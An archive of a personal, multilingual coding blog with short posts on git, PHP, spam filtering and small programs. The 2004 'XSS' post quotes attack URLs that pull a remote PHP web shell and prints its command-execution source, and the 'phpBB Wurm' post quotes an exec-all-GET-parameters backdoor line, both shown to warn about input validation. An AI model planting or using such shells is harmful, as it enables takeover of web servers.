Sunday, 16. April 2023 | Week 15 |
|
|
|
.: Nice git log alias
Ralf tooted a nice and tidy git log output alias for the console:
alias glg="git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"
|
|
13:55 | Coding | Permalink |
|
|
Saturday, 1. January 2022 | Week 00 |
|
|
|
.: Y2K22
Turns out that signed 32-bit numbers can be exhausted long before Y2038, when you use them to store time in YYMMDDHHMM format. (via)
|
|
21:48 | Coding | Permalink |
|
|
Monday, 19. April 2021 | Week 16 |
|
|
|
.: Open Source on Mars
Received a badge from GitHub's Open Source on Mars initiative :-)

|
|
16:21 | Coding | Permalink |
|
|
Saturday, 25. May 2019 | Week 20 |
|
|
|
.: More productive Git
More productive Git — a short article from James Turnbull with 'Tips for acquiring Git super powers'.
TL;DR:
git reset <filename>
git cherry-pick <commitid>
git commit --amend
git stash
git log --stat
git bisect
|
|
07:47 | Coding | Permalink |
|
|
Sunday, 6. January 2019 | Week 00 |
|
|
|
.: Engineering Management
Engineering Management: The Pendulum Or The Ladder — a well written article from Charity Majors about the non-trivial entanglement between engineering and management, explaining how doing everything at the same time does lead to unhappy/un-fulfilled people. Also worth reading in this context is the prequel article The Engineer/Manager Pendulum.
|
|
13:21 | Coding | Permalink |
|
|
Tuesday, 1. January 2019 | Week 00 |
|
|
|
.: New Year - New Vim Trick
Happy 2019! I have learnt a new Vim trick:
When searching for some pattern with / (eg. /mystring), often the next step is to perform a replacement command.
Now instead of re-typing the whole string, you can directly enter the substitution command with an emtpy search-pattern (:%s//newstring/), Vim then automatically re-uses the previous search pattern.
(via)
|
|
22:24 | Coding | Permalink |
|
|
Saturday, 8. December 2018 | Week 49 |
|
|
|
.: The Swiss Army Knife of Hashmaps
The Swiss Army Knife of Hashmaps — a very nice article from Ravi Shankar explaining how Google's SwissTable concept was implemented for Rust.
|
|
06:41 | Coding | Permalink |
|
|
Sunday, 30. November 2014 | Week 47 |
|
|
|
.: Regex Crossword

Regex Crossword (via)
|
|
21:55 | Coding | Permalink |
|
|
Saturday, 9. August 2008 | Week 31 |
|
|
|
.: Opera 9.25 vs Safari JavaScript syntax error forgiveness
The following definition of an Array works without problems in Safari (and probably Firefox too), but triggers an (legitimate) error in Opera 9.25:
var myArray = [
1.2,
2.3,
3.4,
];
The error is triggered by the superfluous comma after the last element of the Array. It may be argued for both behaviors, but I would prefer all Browsers accepting such an Array definition also since in other languages (C, Python, PHP) such a redundant comma does not cause any trouble.
|
|
01:15 | Coding | Permalink |
|
|
Wednesday, 25. June 2008 | Week 25 |
|
|
|
.: helloworld.c
void main(){puts("Hello World.\n");}
|
|
21:40 | Coding | Permalink |
|
|
Wednesday, 30. April 2008 | Week 17 |
|
|
|
.: Seems people don't read enough books
Coding Horror: Programmers Don't Read Books -- But You Should
|
|
14:23 | Coding | Permalink |
|
|
Wednesday, 23. April 2008 | Week 16 |
|
|
|
.: Python (S60) links
|
|
00:12 | Coding | Permalink |
|
|
Friday, 15. February 2008 | Week 06 |
|
|
|
.: Some Links II
|
|
08:53 | Coding | Permalink |
|
|
Thursday, 14. February 2008 | Week 06 |
|
|
|
.: Python Webserver in 1 or 15 lines
Python Webserver in 1 line:
python -c "import SimpleHTTPServer; SimpleHTTPServer.test()"
Python Webserver in 15 lines:
import BaseHTTPServer
class WebRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/foo':
self.send_response(200)
self.do_something()
else:
self.send_error(404)
def do_something(self):
print 'hello world'
server = BaseHTTPServer.HTTPServer(('',80), WebRequestHandler)
server.serve_forever()
via
|
|
21:10 | Coding | Permalink |
|
|
Monday, 11. February 2008 | Week 06 |
|
|
|
.: Some Links
|
|
10:00 | Coding | Permalink |
|
|
Wednesday, 2. January 2008 | Week 00 |
|
|
|
.: 7 Habits For Effective Text Editing 2.0
I really, really should have known the * command earlier.
|
|
10:40 | Coding | 2 comments |
|
|
Sunday, 23. December 2007 | Week 51 |
|
|
|
.: Erlang has no locks and no keys.
Erlang processes don't share memory, so there is no need to lock the memory while it is being used. Where there are locks, there are keys that can get lost. What happens when you lose your keys? You panic and don't know what to do. That's what happens in software systems when you lose your keys and your locks go wrong.
Distributed software systems with locks and keys always go wrong.
Erlang has no locks and no keys.
Joe Armstrong, Programming Erlang
|
|
23:12 | Coding | Permalink |
|
|
Saturday, 19. August 2006 | Week 33 |
|
|
|
.: Samstag ist Patchtag
Heute jedenfalls: um meine Linksammlung in Zukunft besser vor Spammern zu schützen, habe ich Scuttle ein bisschen erweitert:
- Zuerst wurde eine E-Mail-Benachrichtigung eingebaut, wenn sich ein neuer User registriert. So können Spammer nicht mehr tagelang unbemerkt ihr Unwesen treiben. → scuttle-email-notification.diff
- Dann habe ich einen Filter eingebaut, damit sich Spammer nicht mehr mit freexxx, pornlinks oder texaspoker registrieren können. → scuttle-reasonableusernames.diff
- Und zum Schluss gibt's noch einen Adminbereich wo Spammer bequem ausgewählt und mitsammt ihrer Links und Tags gelöscht werden können. → scuttle-admin.diff
Um den Adminbereich nutzen zu können muss in der Datenbank noch ein Feld uAdmin vom Typ TINYINT(1) zur Tabelle sc_users hinzugefügt werden. Danach dieses einfach auf 1 setzen um einen Benutzer zum Administrator zu machen.
|
|
15:04 | Coding | Permalink |
|
|
Sunday, 13. August 2006 | Week 32 |
|
|
|
.: httphead.c
Da es mir gestern Abend etwas langweilig war, habe ich mich ein bisschen im C Programmieren geübt, schliesslich sollte ich darin fit sein wenn ich im Herbst mein Semesterprojekt beginne.
Dabei ist ein kleines Programm entstanden, das den HTTP-Header einer Website ausgibt: httphead.c
|
|
15:40 | Coding | Permalink |
|
|
Sunday, 20. November 2005 | Week 46 |
|
|
|
.: Kommentar Spam
Seit gestern haben hier die Spam-Kommentare massiv zugenommmen
(sprich 40-50 anstelle von 0-10 pro Tag). Zudem werden sie nicht mehr
über den ganzen Tag verteilt abgegeben sondern fast alle innerhalb der
gleichen 5-10 Minuten.
Glücklicherweise habe ich schon vor einiger Zeit meinen "naiven" Badword-Filter durch einen Bayes'schen Spamfilter ersetzt, der bisher alle(!) Spam-Kommentare erkannt und markiert hat.
Aber es ist trotzdem ärgerlich immer die als Spam markierten
Kommentare zu löschen (momentant habe ich noch nicht genügend Vertrauen
in den Filter als dass ich ihn die Spam-Kommentare automatisch löschen
lasse).
Da die Anzahl der hier vorhandenen Kommentare nicht gerade enorm
ist, habe ich um den Spamfilter zu trainieren auch noch die Seiten
meines spamgeplagten Wikis hinzugenommen. Auch dort funktioniert die Spamerkennung nach anfänglichen Schwierigkeiten (False-positives) problemlos.
Dieses "Wundermittel gegen den Spam" habe ich nicht etwa selber entwickelt sondern ich habe einfach die Spam Filter Klasse von PHPClasses.org an meine Bedürfnisse angepasst.
Allen Spamgeplagten kann ich den Einsatz eines Bayes'schen Spamfilters sehr empfehlen!
|
|
00:07 | Coding | 2 comments |
|
|
Sunday, 7. August 2005 | Week 31 |
|
|
|
.: Fight Spam
Since this weblog received about 100 spam comments last week, i implemented a simple spam-filter based on a badwords list.
If a comments text contains more than four occurences of the following
words, it won't get added and the user is redirected to the mainpage.
Thanks to very specific spam content, it only needs a small list of badwords to detect the spam.
- texas
- holdem
- casino
- poker
This is just a simple anti-spam mechanism, but for now it works perfect and i hope it remains so for a long time :-)
|
|
12:49 | Coding | 4 comments |
|
|
Saturday, 2. July 2005 | Week 26 |
|
|
|
.: Knapsack 0/1 and sorting algorithms
As an exercice for the algorithm test of next monday i implemented some algorithms in C.
There are:
The source code is available under the BSD License:
|
|
01:56 | Coding | 2 comments |
|
|
Thursday, 30. June 2005 | Week 26 |
|
|
|
.: rl and rs
rl and rs are two small command-line programs written in C.
rl removes starting line(s) from stdin.
rs reverses it's input.
The source code is available under the BSD License:
|
|
22:01 | Coding | Permalink |
|
|
Friday, 1. April 2005 | Week 13 |
|
|
|
.: Bug in MySQL 4.1.10a?
Bisher wurden die Einträge der Indexseite mit diesem SQL-Statement abgefragt:
SELECT w.*, a.nick AS nick, cat.name AS categoryname,
count(c.id) AS comments,
l.name AS languagename, l.code AS lc
FROM `x-log_weblog` AS w, `x-log_authors` AS a,
`x-log_languages` AS l, `x-log_categories` AS cat
LEFT JOIN `x-log_comments` AS c ON w.id = c.posting
WHERE a.id = w.author
AND cat.id = w.category
AND w.date <= NOW()
AND w.public = '1'
AND w.language & l.id > 0
GROUP BY w.id
ORDER BY w.date DESC
Doch seit Hostpoint auf MySQL 4.1.10a umgestellt hat, stimmt die Anzahl der Kommentare nicht mehr.
Nach diversen erfolglosen Versuchen die LEFT JOIN Anweisung zu ändern, habe ich in einem Bugreport eine Lösung gefunden:
count(DISTINCT c.id)
Mangels spezifischer Kenntnisse kann ich nicht beurteilen ob das nun
ein Bug oder ein Feature ist. Aber da mehrere Bugreports dazu
existieren scheint es eher ein Bug zu sein.
|
|
22:01 | Coding | 3 comments |
|
|
Tuesday, 22. February 2005 | Week 08 |
|
|
|
.: phiki.waterwave.ch
A month ago or so, someone spammed my Wiki with asian links. This overwrote all my data because PhikiWiki
doesn't have a backup-mechanism or a versioning system. Since i had a
backup of the webserver, i could restore the Wiki. But i didn't want to
restore manually the backup via FTP each time someone overwrites my
Data.
So i built a versioning system based on rcs . I've searched the write and read functions in the code and added just an co before the read function and a ci before the write function.
Now each time someone changes a document, it's stored as a new
version of the document. The different versions are made accesible by
the r= GET-parameter (example: version 1.38 and 1.50 of FrontPage).
If now someone fills my Wiki with spam, i can just load the last good
version and store it as the new version. No need to replay a backup via
FTP.
The syntax of PhikiWiki doesn't have enough features for my needs, so i decided to use Markdown instead. I just removed all the formatting stuff of phiki and added a simple Markdown($txt); call.
|
|
13:32 | Coding | Permalink |
|
.: v2_05-rc1
Wie immer in den Ferien bastle ich ein bisschen an meinem Weblog rum.
Dem allgemeinen Trend folgend, werden hier nun auch Gravatare unterstützt (Das sind die kleinen Bildchen, welche anhand der E-Mail Adresse angezeigt werden. Beispiel). Wer noch keinen hat, einfach bei gravatar.com die E-Mail Adresse registrieren, Bild hinaufladen fertig :-)
Seit Anfang dieses Jahres gibt es hier nebst deutschen und französischen Inhalten auch noch englische Beiträge. Bei den Einstellungen, kann man sich eine beliebige Kombination zusammenmixen.
Das Admininterface habe ich mit Hilfe von xmlHTTPRequest um einen JavaScript TrackBack
Client erweitert.
Leider erlaubt Mozilla keine xmlHTTPRequests auf eine
andere als die eigene Domain, was die Nutzung sehr einschränkt. Aber
vielleicht folgt Mozilla in Zukunft dem Beispiel von Safari und erlaubt
GET-Requests auf beliebige Domains.
|
|
12:13 | Coding | Permalink |
|
|
Thursday, 6. January 2005 | Week 01 |
|
|
|
.: Smarty
Angeregt durch Gordons Smarty Posting gibts es hier nun auch einen Eintrag über Template Systeme und ein paar interessante Links.
Angefangen hat das mit den Templates, als ich vor 2 Jahren die Website für meine Klasse des Gymnasiums gemacht habe. Damals benutze ich die P.E.T. Template-Engine von Andreas Demmer.
In der damals top-aktuellen Version 1.5 musste man Template-Tags in einer etwas unhandlichen Form benutzen: <!-- {tag} -->
Als ich vor einem Jahr mein Weblog komplett neu programmierte,
wollte ich auch ein Template-System benutzen, aber ohne so umständliche
Tags.
Inspiriert von diesem Artikel
habe ich eine PHP-Klasse programmiert, welche eigentlich nichts anderes
macht, als ein paar Variablen zu speichern und eine Template-Datei zu
inkludieren. Die Template-Tags sind auf <?=$tag;?> geschrumpft
und man kann die ganze Vielfalt von PHP nutzen ohne die Template-Datei
speziell zu parsen.
Im letzten Sommer habe ich einen Ferienjob gesucht und mich auf eine Ausschreibung des KIS gemeldet. Als Anforderung wurden unter anderem Smarty Kenntnisse genannt, und so habe ich mir einen Abend Zeit genommen und mich in Smarty hineingearbeitet.
Früher habe ich mich etwas vor Smarty gedrückt, weil es mir etwas schwerfällig schien mit Template-Kompilierung, Caching etc.
Doch
seit ich mich intensiv damit beschäftige und auch entdecken durfte,
dass die kompilierten Templates eigentlich genau meinem
"include"-Template System entsprechen, habe ich meine Meinung geändert.
Nun setzte ich Smarty auch bei eigenen Projekten ein.
Hier noch ein paar gesammelte Links zu Smarty:
|
|
00:28 | Coding | 2 comments |
|
|
Sunday, 26. December 2004 | Week 51 |
|
|
|
.: phpBB Wurm
Seit heute Abend bekomme ich von folgenden Hosts etwas 'spezielle' HTTP Anfragen, welche hier zum Glück wirkungslos sind:
- mail.shanghaiguide.com.cn
- aster.propagation.net
- cp02.virtuabyte.com
- b3.ovh.net
- merlin2.provinz.bz.it
- www.silverchair.nu
- chippy.takeoverhosting.com
- web1.o1.com
- cpanel5.fuitadnet.com
- cgi03.plus.net
- 18.67-18-148.reverse.theplanet.com
- 66.199.234.42
- sproggit.fluent.ltd.uk
- server1.progressiveinsite.com
- pingouin.ie2.u-psud.fr
- 194.42.45.5
- ...
Dazu sunflyer.ch:
Beeindruckend ist die Anzahl von Opfern, die irgendwie sowas in ihren Sourcen haben müssen. <?php foreach ($_GET as $_get) { exec ($_get); } ?>
|
|
01:43 | Coding | one comment |
|
|
Saturday, 3. July 2004 | Week 26 |
|
|
|
.: Bomberman 2004
Wie schon angekündigt haben wir im Programmieren ein Projekt gemacht, welches nun letzten Sonntag fertig wurde. Herausgekommen ist ein kleines Bomberman-Spiel, welches man hier herunterladen kann (für Interessierte gibts hier noch die Sourcen). Das Spiel hat ziemlich viele Bugs und Fehler, welche vor allem daher kommen, dass wir die ganze Spiel-Engine von den Assistenten geliefert bekammen. Die Engine ist jedoch ohne ein intelligentes Design, mit lauter Fehlern und Exceptions und in einem schrecklichen Code-Stil gemacht worden. So braucht beispielsweise der Konstruktor der Klasse, welche die Netzwerk-Sockets erstellt, eine Referenz auf ein GUI-Element um allfällige Netzwerkfehler direkt dorthinein zu schreiben! Und auch die langen Wartezeiten beim starten von Spielen sind nur da, weil die Engine mit vielen NullPointer-Exceptions abstürzt wenn ein Spiel in Echtzeit gestartet wird! Programmiert haben wir eigentlich "nur" die künstliche Intelligenz, den Leveleditor und das Fenster um die verschiedenen Spieltypen auszuwählen (Ursprünglich musste der Benutzer mittels Kommandozeile die einzelnen Clients und Server starten und miteinander verbinden!). Wer keinen Fernseher hat, kann im Simulationsmodus schauen wie die künstliche Intelligenz gegen sich selbst spielt. Das kann durchaus eine abendfüllende Spielzeit annehmen!
|
|
22:20 | Coding | 7 comments |
|
|
Saturday, 12. June 2004 | Week 23 |
|
|
|
.: phpPatterns()
Auf phpPatterns() findet man viele Artikel zu Patterns und Objektorientierter Programmierung. Wer mit Mozilla unterwegs ist, kann dort auch den XUL Viewer ausprobieren.
|
|
21:30 | Coding | Permalink |
|
|
Sunday, 16. May 2004 | Week 19 |
|
|
|
.: XSS
http://waterwave.ch/weblog/detail.php?label=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w
http://waterwave.ch/weblog/index.php?cat=http://cliente.escelsanet.com.br/metallz/cmd.jpg?&cmd=ls%20/;uname%20-a;w Na, billige XSS-Attacke falsch angewendet. In http://cliente.escelsanet.com.br/metallz/cmd.jpg steht übrigens dieser PHP-Code. </center><font size="2"><pre>-
<?
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?> Merke: Immer alle nicht vertrauenswürdigen Input-Daten (e.g. alle per POST, GET, COOKIE übermittelten Daten) kontrollieren. Sehr oft werden hierzu Character type functions eingesetzt.
|
|
15:00 | Coding | one comment |
|
|
Thursday, 15. April 2004 | Week 15 |
|
|
|
.: Acronymizer
Hier ist ein kleines Skript, welches in einem (X)HTML-Text nach Akronymen sucht und diese mit ihrer Definition ersetzt. Die Akronyme werden als assoziatives Array übergeben und können nicht nur die Definition sondern auch andere Attribute wie z.B. die Sprache mitbringen. Das Skript ersetzt nur Text ausserhalb von HTML-Tags und ersetzt keine Akronyme die schon mit dem entsprechenden Tag ausgerüstet sind. Zusätzlich gibt es einen Anständigen Modus, in dem Akronyme nur ersetzt werden, wenn sie nicht in einem Wort integriert sind, sondern durch ein Zeichen davon getrennt sind. Die Trennzeichen werden auch als Parameter übergeben. So wird beispielsweise PHPprogrammierer im anständigen Modus nicht ersetzt, hingegen PHP-Programmierer schon. Einfach mal anschauen, vielleicht kanns ja sonst noch jemand gebrauchen.
|
|
19:35 | Coding | Permalink |
|
.: Sicheres Programmieren mit PHP
Uff, Glück gehabt. Die erwähnten Punkte habe ich fast alle berücksichtigt, und die ausgelassenen Sicherheitslücken funktionieren mit der hier installierten PHP-Version nicht mehr :-) Via absolut-marc.de
|
|
00:30 | Coding | Permalink |
|
|
Tuesday, 13. April 2004 | Week 15 |
|
|
|
.: Warum?
Kann mir jemand den Gedanken hinter folgendem Verhalten von XML_RPC erklären? Ich bin dabei, einige XML-RPC Webservices in PHP zu programmieren. Leider gabs immer eine Fehlermeldung wenn ich eine bestimmte Funktion aufrufe. Zuerst suchte ich den Fehler in der Funktion beim XML-RPC-Server. Jedoch funktionierte die problemlos. Danach habe ich eine Ewigkeit mit den via XML-RPC übergebenen Parameter herumgespielt, hat jedoch nichts gebracht. Dann habe ich in der XML-RPC-Klasse das Debug-Flag aktiviert. So konnte ich herausfinden, dass der XML-RPC-Server die Ausgabewerte der Funktionen übergibt, was ja auch so sein muss. Das Debug-Flag machte auch, dass im XML-RPC-Client die empfangenen XML-Daten ausgegeben werden. Diese entsprachen den vom Server gesendeten. Doch leider gab mir das Debug-Flag keine Information warum das Parsen der XML-Daten fehlschlug. So habe ich mir mal den Code der XML-RPC-Klasse angeschaut und habe dort eine Funktion error_log entdeckt. Diese Funktion ist in PHP eingebaut und sendet eine Fehlermeldung. Nach dem Studium der Dokumentation habe ich herausgefunden, dass die Fehlermeldungen damit in den Error-Log vom Apache geschrieben werden! Also habe ich mir /var/log/apache2/error_log vorgenommen. Darin fand ich Fehlermeldungen des XML-Parsers, der sich über ein invalid token beschwerte! Nach längerem Herumexperimentieren mit den Eingabewerten, fand ich heraus, dass der XML-Parser an einem nicht enkodierten Umlaut scheiterte. Da ich Umlaute nicht mehr enkodiere, sondern einfach das entsprechende encoding="iso-8859-15" Attribut setzte, kontrollierte ich zuerst den XML-Header, wie er von der XML-RPC-Klasse generiert wird. Dort fand ich dann auch den Fehler: es wird kein encoding Attribut erzeugt. Warum werden nicht alle Umlaute etc. automatisch enkodiert, wenn kein encoding Attribut mitgeliefert wird? Warum gibt es ein Debug-Flag, aber Fehlermeldungen werden trotzdem nicht ausgegeben sondern weiterhin nur nach /var/log/apache2/error_log geschrieben?
|
|
18:36 | Coding | Permalink |
|
|
Sunday, 11. April 2004 | Week 14 |
|
|
|
.: RSS, TrackBack
Nun findet man hier auch diverse RSS-Feeds und es ist auch möglich mittels TrackBack seine Meinung mitzuteilen.
Feeds
- Alle Sprachen
- Deutsch
- Französisch
|
|
15:51 | Coding | Permalink |
|
|
Thursday, 8. April 2004 | Week 14 |
|
|
|
.: x-log v2.02c
So, nun sind auch die Erweiterungen, welche ich während der letzten Woche offline geschrieben habe, mehr oder weniger erfolgreich integriert. Erwähnenswerte neue Features:
|
|
22:07 | Coding | 3 comments |
|
|
Sunday, 28. March 2004 | Week 12 |
|
|
|
.: Neue alte Features
Nun sind wieder ein paar alte Features zum Vorschein gekommen :-) Dabei hat mir PHP den Weg nicht gerade leicht gemacht. Angenommen, man will ein Array in einem Cookie speichern indem man serialize() und unserialize() benutzt, könnte folgender Code entstehen. function saveData ( $data ) {
setcookie('cookiename', serialize($data), time()+3600*24*100);
}
function loadData () {
return unserialize($_COOKIE['cookiename']);
} Das funktioniert aber leider nicht. Damit es funktioniert muss noch stripslashes() benutzt werden. function saveData ( $data ) {
setcookie('cookiename', serialize($data), time()+3600*24*100);
}
function loadData () {
return unserialize(stripslashes($_COOKIE['cookiename']));
}
|
|
01:18 | Coding | Permalink |
|
|
Friday, 26. March 2004 | Week 12 |
|
|
|
.: Kochsche Kurve
Heute haben wir im Java-Programmieren mit GUI-Programmierung angefangen. Die Exercices waren simpel (Buttons erzeugen, ausrichten etc.), jedoch hatte es als Zusatzaufgabe noch die Kochsche Kurve. 
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/**
* Kochsche Kurve
*
* @author Andreas Jaggi
* @created 26. März 2004
* @version 1.0
*/
public class KochscheKurve
extends JFrame {
/**
* Constructor for the KochscheKurve object
*/
public KochscheKurve() {
setSize( 600, 600 );
setTitle( "Die Kochsche Kurve" );
}
/**
* Überladene "interne" Methode, die aufgerufen wird, wenn das Fenster neu
* gezeichnet werden muss
*
* @param g Graphik-Objekt, auf dem gezeichnet wird
*/
public void paint( Graphics g ) {
super.paint( g );
double x1;
double x2;
double x3;
double y1;
double y2;
double y3;
int depth = 13;
x1 = 100;
y1 = 400;
x2 = 500;
y2 = 400;
x3 = ( x2 - x1 ) * Math.cos( -Math.PI / 3 ) -
( y2 - y1 ) * Math.sin( -Math.PI / 3 ) + x1;
y3 = ( x2 - x1 ) * Math.sin( -Math.PI / 3 ) +
( y2 - y1 ) * Math.cos( -Math.PI / 3 ) + y1;
koch( g, depth, x2, y2, x1, y1 );
koch( g, depth, x1, y1, x3, y3 );
koch( g, depth, x3, y3, x2, y2 );
}
/**
* Rekursive Funktion, welche den Fraktal zwischen zwei Punkten bis zu einer
* bestimmten Tiefe zeichnet.
*
* @param g Graphik-Objekt, auf dem gezeichnet wird
* @param depth Rekursionstiefe
* @param x1 X-Koordinate des ersten Punktes
* @param y1 Y-Koordinate des ersten Punktes
* @param x2 X-Koordinate des zweiten Punktes
* @param y2 X-Koordinate des zweiten Punktes
*/
public void koch( Graphics g, int depth, double x1, double y1, double x2,
double y2 ) {
double x13 = x1 + ( x2 - x1 ) / 3.0;
double x23 = x1 + 2.0 * ( x2 - x1 ) / 3.0;
double y13 = y1 + ( y2 - y1 ) / 3.0;
double y23 = y1 + 2.0 * ( y2 - y1 ) / 3.0;
double xd = ( x23 - x13 ) * Math.cos( -Math.PI / 3 ) -
( y23 - y13 ) * Math.sin( -Math.PI / 3 ) + x13;
double yd = ( x23 - x13 ) * Math.sin( -Math.PI / 3 ) +
( y23 - y13 ) * Math.cos( -Math.PI / 3 ) + y13;
if ( depth > 0 ) {
koch( g, depth - 1, x1, y1, x13, y13 );
koch( g, depth - 1, x13, y13, xd, yd );
koch( g, depth - 1, xd, yd, x23, y23 );
koch( g, depth - 1, x23, y23, x2, y2 );
} else {
g.drawLine( (int) x1, (int) y1, (int) x2, (int) y2 );
}
}
/**
* The main program for the KochscheKurve class
*
* @param args The command line arguments
*/
public static void main( String[] args ) {
KochscheKurve graf = new KochscheKurve();
graf.setVisible( true );
graf.addWindowListener(
new WindowAdapter() {
public void windowClosing( WindowEvent e ) {
System.exit( 0 );
}
}
);
}
}
|
|
23:18 | Coding | one comment |
|
|
Sunday, 29. February 2004 | Week 08 |
|
|
|
.: PHP Literatur Schon nur weil ich am heutigen Datum erst wieder in 4 Jahren was schreiben kann, muss dieser Eintrag hier sein ;-) Aber auch weil ich durch die Lektüre folgender Artikel zu einem Rewrite (ja, from Scratch) von meinem Weblog motiviert worden bin. Insbesondere hat mich der Artikel über Template Engines beeindruck, da hier mit einer völlig anderen Ansicht an das Problem herangegangen wird, als ich es bisher getan habe. An dieser Stelle wäre es natürlich interessant zu wissen wie andere Leute ihre Templates handhaben.
how to write better code A Few Tips for Writing Useful Libraries in PHP Template Engines Functional Specification Tutorial
|
|
20:47 | Coding | 2 comments |
|
|
Sunday, 4. January 2004 | Week 00 |
|
|
|
.: pekwm Nachdem ich alle Kandidaten etwas getestet habe, bin ich bei pekwm hängengeblieben.
"pewkm ist ein kleiner, schneller, funktioneller und flexibler Windowmanager, der versucht nett (hübsch) zu sein während dem er klein bleibt." So wird er in der Doku beschrieben. Er besitzt viele Features: so kann man zum Beispiel damit wie beim pwm mehrere Fenster zusammenfassen. Das Rootmenü, welches auf die linke (!) Maustaste belegt ist, lässt sich sehr gut anpassen, da es möglich ist, die Menüeinträge dynamisch zu generieren. Dieses Feature ist ideal, um meine Wallpaper ins Menü einzubinden, ohne für jedes einen Eintrag schreiben zu müssen. So ist ein kleines Perl-Skript entstanden, das als Parameter Verzeichnisse mit Bilddateien entgegennimmt, diese rekursiv durchsucht, die gefundenen Bilder ins Menü integriert (die Dateinamen werden noch etwas beschönigt) und ihnen mittels xsetbg eine Handlung anzufügt.
#!/usr/bin/perl
#
# 2003 by x-way - http://waterwave.ch/weblog
#
# Add this to your menu, if you have pekwm's dynamic menu support:
#
# SubMenu = "Backgrounds" {
# Entry { Actions = "Dynamic /path/to/this/file /path/to/your/wallpapers" }
# }
#
use warnings "all";
use strict;
print("Dynamic {\n");
for(my $i = 0; $i < scalar(@ARGV); $i++) {
my $dir = $ARGV[$i];
opendir(DIR, "$dir") || die "Can't opendir $dir: $!";
my @backgrounds = grep { (! /^\./) } readdir(DIR);
closedir DIR;
foreach my $x (@backgrounds) {
my $y = $x;
$y =~ s+.*/++g;
if(! -d "$dir/$x") {
$y =~ s/\..*$//g;
$y =~ s/_[0-9]{3,4}x[0-9]{3,4}//g;
print("Entry = \"$y\" { Actions = \"Exec xsetbg -center $dir/$x \" }\n");
} else {
print("Submenu = \"$y\" {\nEntry { Actions = \"Dynamic $0 $dir/$x\" }\n}");
}
}
}
print("}\n");
|
|
01:28 | Coding | 2 comments |
|
|
Sunday, 16. March 2003 | Week 10 |
|
|
|
.: Auch Programmierer sind Menschen checking for something to drink while compiling... err: no fridge found
Ist mir gerade beim installieren von TiLP aufgefallen :-)
|
|
13:42 | Coding | 4 comments |
|
|
Tuesday, 3. December 2002 | Week 48 |
|
|
|
.: Forum du PHP 2002 - Paris

L'AFUP propose de participier au Forum de PHP 2002 à Paris les 9 et 10 décembre 2002.
|
|
01:28 | Coding | Permalink |
|
|
Monday, 25. November 2002 | Week 47 |
|
|
|
.: Valid RSS

Mon RSS-Feed est valid!
|
|
21:02 | Coding | Permalink |
|
.: Evil phpMyAdmin Hack Mit wget kann man natürlich auch MySQL-DBs sichern. Wenn man nur eingeschränkten Zugriff zum Server hat, muss man die mysqldump-Funktion von phpMyAdmin etwas missbrauchen ;-)
wget.exe -O F:Backup/mysqldump.sql --http-user=mysqluser --http-passwd=mysqlpassword "http://domain.com/phpmyadmin/tbl_dump.php?db=datenbankname&what=data&showcolumns=yes&asfile=sendit"
|
|
19:38 | Coding | 2 comments |
|
.: wget Schön, dass es wget auch für Windows gibt. Damit kann man dann so schöne Sachen machen, wie zum Beispiel das automatisierte Backup einer ganzen Website:
wget.exe -m ftp://user:password@domain.com/ -P F:Backup
|
|
19:28 | Coding | Permalink |
|
|
Saturday, 9. November 2002 | Week 44 |
|
|
|
.: Réglage (!!) --> J'ai changé un peu mon système du weblog. Vous pouvez maintenant changer la langue de la navigation et du contenu, le nombre des entrées montrées. Et si vous faites un commentaire, votre nom, votre e-mail et votre website seraient mémorisés.
|
|
18:24 | Coding | Permalink |
|
.: Einstellungen (!!) --> ich hab noch mal ein bisschen gebastelt. Rausgekommen ist, dass man nun unter Einstellungen einstellen kann, in welcher Sprache die Navigation erscheinen soll, in welcher Sprache die Inhalte erscheinen sollen und wieviele Einträge auf der Startseite angezeigt werden. Desweiteren werden nun Name, E-Mail und Website beim kommentieren gespeichert. All das funktioniert via ein Cookie, daher bitte aktivieren, wer davon Gebrauch machen möchte.
|
|
18:19 | Coding | 12 comments |
|
|
Friday, 1. November 2002 | Week 43 |
|
|
|
.: Large-Scale PHP Projects Bevor ich's wieder vergesse: Der Schockwellenreiter hat einen interessanten Artikel über das managen von grossen PHP Projekten gefunden.
|
|
12:30 | Coding | Permalink |
|
|
Wednesday, 30. October 2002 | Week 43 |
|
|
|
.: Nun geht's wieder Das Kommentarzeugs hat nicht mehr funktioniert, wie ihr vielleicht gemerkt habt. Grund dafür war ein Tippfehler im PHP-Code.$layout = new layout('plain', 1,); funktioniert definitiv nicht.
Kommt davon, wenn man in der Geisterstunde am PHP-Code bastelt ;-)
|
|
17:42 | Coding | 7 comments |
|
|
Sunday, 27. October 2002 | Week 42 |
|
|
|
.: Kleine Änderungen Ich hab wieder gebastelt ;-) Nun ist es möglich für jeden Eintrag die Kommentarfunktion einzeln auszuschalten. Zudem hab ich vor, ab jetzt auch in Französisch zu schreiben, damit meine Franznote etwas besser wird durchs Üben. Daher hat sich MySQL-mässig auch da noch etwas geändert. Vielleicht werde ich einmal eine Abfrage mit Cookies oder so einrichten, mit der man dann nur eine Sprache anzeigen lassen kann; damit ihr nicht leiden müsst ;-)
|
|
02:10 | Coding | 4 comments |
|
.: Des Rätsels Lösung Die Antwort auf die hier gestellte Frage lautet: Damit ich Google-Suchabfragen-Links erkennen kann, und mit header("Location: suche.php?q=".$GoogleQuery); umleiten kann. Weshalb das? Damit die Links von Google, welche manchmal auf Einträge zeigen, die nicht mehr auf der index.php sind, für den Benutzer doch etwas bringen.
|
|
00:04 | Coding | Permalink |
|
|
Sunday, 20. October 2002 | Week 41 |
|
|
|
.: Rätselt! Das mit dem GET und dem POST hat übrigens auch etwas mit dem google zu tun. Jetzt sollt's eigentlich Klick machen ;-)
|
|
19:09 | Coding | Permalink |
|
.: MySQL Full-text Search ... will nicht wie ich! Nach diesem Tipp von rw habe ich meine Suchfunktion noch einmal neu gebaut. Durfte jedoch feststellen, dass dabei keine Wörter mit weniger als 4 Zeichen funktionieren und dass nur Wörter verglichen werden, jedoch nicht Wortteile. Also hab ich wieder zurückgewechselt und die MySQL-Queries noch länger gemacht, damit jetzt auch die Titel der einzelnen Beiträge durchsucht werden.
|
|
